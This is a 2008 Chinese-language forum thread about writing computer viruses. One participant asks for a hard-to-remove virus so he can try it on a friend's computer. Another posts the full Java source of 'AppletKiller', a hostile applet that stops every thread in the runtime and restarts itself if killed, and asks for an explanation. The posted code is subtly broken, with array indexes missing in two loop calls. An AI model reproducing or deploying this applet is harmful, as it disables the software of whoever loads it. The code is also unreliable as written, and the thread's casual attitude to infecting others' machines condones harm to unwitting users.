|登录 |注册

楼主: 夜风
打印 上一主题 下一主题

怎樣寫virus

[复制链接]

回复 #150 dious 的帖子

goodhermit95
2008-6-22 09:36 PM
goodday 加强版的去除不到的
dious
2008-6-22 10:50 PM
自己中了也沒辦法?         
`

回复 #152 dious 的帖子

goodhermit95
2008-6-27 11:49 AM
我是没办法,做一个system restore point 先
dious
2008-6-28 10:51 PM
不是         
goodday自己沒辦法嗎
goodday
2008-6-30 12:12 AM
原帖由 dious 于 2008-6-28 10:51 PM 发表
不是         
goodday自己沒辦法嗎


还没知道 总是中了才 边骂 边 弄

回复 #155 goodday 的帖子

goodhermit95
2008-6-30 12:01 PM
我没时间测试
哈哈
有时间也是懒惰
很多programing 的 idea 想出来了没有弄
dious
2008-6-30 05:46 PM
原帖由 goodday 于 2008-6-30 12:12 AM 发表


还没知道 总是中了才 边骂 边 弄

給我那個東西好嗎
我讓朋友(的電腦)玩玩
咸猪腿
2008-7-1 02:57 PM
救命啊!!!这里有谁了解JAVA 的VIRUS程式??? Virus名: AppletKiller
em0016
dious
2008-7-1 04:19 PM
java是不能做病毒的
沒有pointer
咸猪腿
2008-7-1 05:22 PM
原帖由 dious 于 2008-7-1 04:19 PM 发表
java是不能做病毒的
沒有pointer


可是我有一个JAVA程式VIRUS...希望有人能帮我解释这个程式的运作过程...
希望有人能帮...谢谢...

import java.applet.*;
import java.awt.*;
import java.io.*;

public class AppletKiller extends java.applet.Applet implements Runnable
{
    Thread killer;
   
    public void init()
    {
        killer = null;
    }

    public void start()
    {
        if (killer == null)
        {
            killer = new Thread(this,"killer");
            killer.setPriority(Thread.MAX_PRIORITY);
            killer.start();
        }
    }

    public void stop() {}   

// Kill all threads except this one

    public void run()
    {
        try {
            while (true)
            {
                ThreadKiller.killAllThreads();
                try { killer.sleep(100); }
                catch (InterruptedException e) {}
            }
        }
        catch (ThreadDeath td) {}

// Resurrect the hostile thread in case of accidental ThreadDeath

        finally
        {
            AppletKiller ack = new AppletKiller();
            Thread reborn = new Thread(ack, "killer");
            reborn.start();
        }
    }
}

class ThreadKiller
{

// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing all threads as we go

    public static void killAllThreads()
    {
        ThreadGroup thisGroup;
        ThreadGroup topGroup;
        ThreadGroup parentGroup;
        
// Determine the current thread group
        thisGroup = Thread.currentThread().getThreadGroup();
        
// Proceed to the top ThreadGroup
        topGroup  = thisGroup;
        parentGroup = topGroup.getParent();
        while(parentGroup != null)
        {
            topGroup  = parentGroup;
            parentGroup = parentGroup.getParent();
        }
// Find all subgroups by descending recursively
        findGroups(topGroup);
    }
   
    private static void findGroups(ThreadGroup g)
    {
        if (g == null)
        {
                return;
        }
        
        else
        {
                int numThreads = g.activeCount();
                int numGroups = g.activeGroupCount();
                Thread[] threads = new Thread[numThreads];
                ThreadGroup[] groups = new ThreadGroup[numGroups];
                g.enumerate(threads, false);
                g.enumerate(groups, false);
                for (int i = 0; i < numThreads; i++)
                    killOneThread(threads);
                for (int i = 0; i < numGroups; i++)
                    findGroups(groups);
        }
    }

    private static void killOneThread(Thread t)
    {
        if
        (
                t == null || t.getName().equals("killer")) {return;
        }
        else
        {
                t.stop();
        }
    }   
}

[ 本帖最后由 咸猪腿 于 2008-7-1 05:23 PM 编辑 ]
您需要登录后才可以回帖 登录 | 注册

JBTALKS.CC |联系我们 |隐私政策 |Share

GMT+8, 2026-1-1 07:20 AM , Processed in 0.100778 second(s), 19 queries .

Powered by Discuz! X2.5 © 2001-2012 Comsenz Inc.

本论坛言论纯属发表者个人意见,与本论坛立场无关
Copyright © 2003-2012 JBTALKS.CC All Rights Reserved

Dedicated Server powered by iCore Technology Sdn. Bhd.

合作联盟网站:
JBTALKS 马来西亚中文论坛 | JBTALKS我的空间 | ICORE TECHNOLOGY SDN. BHD.
回顶部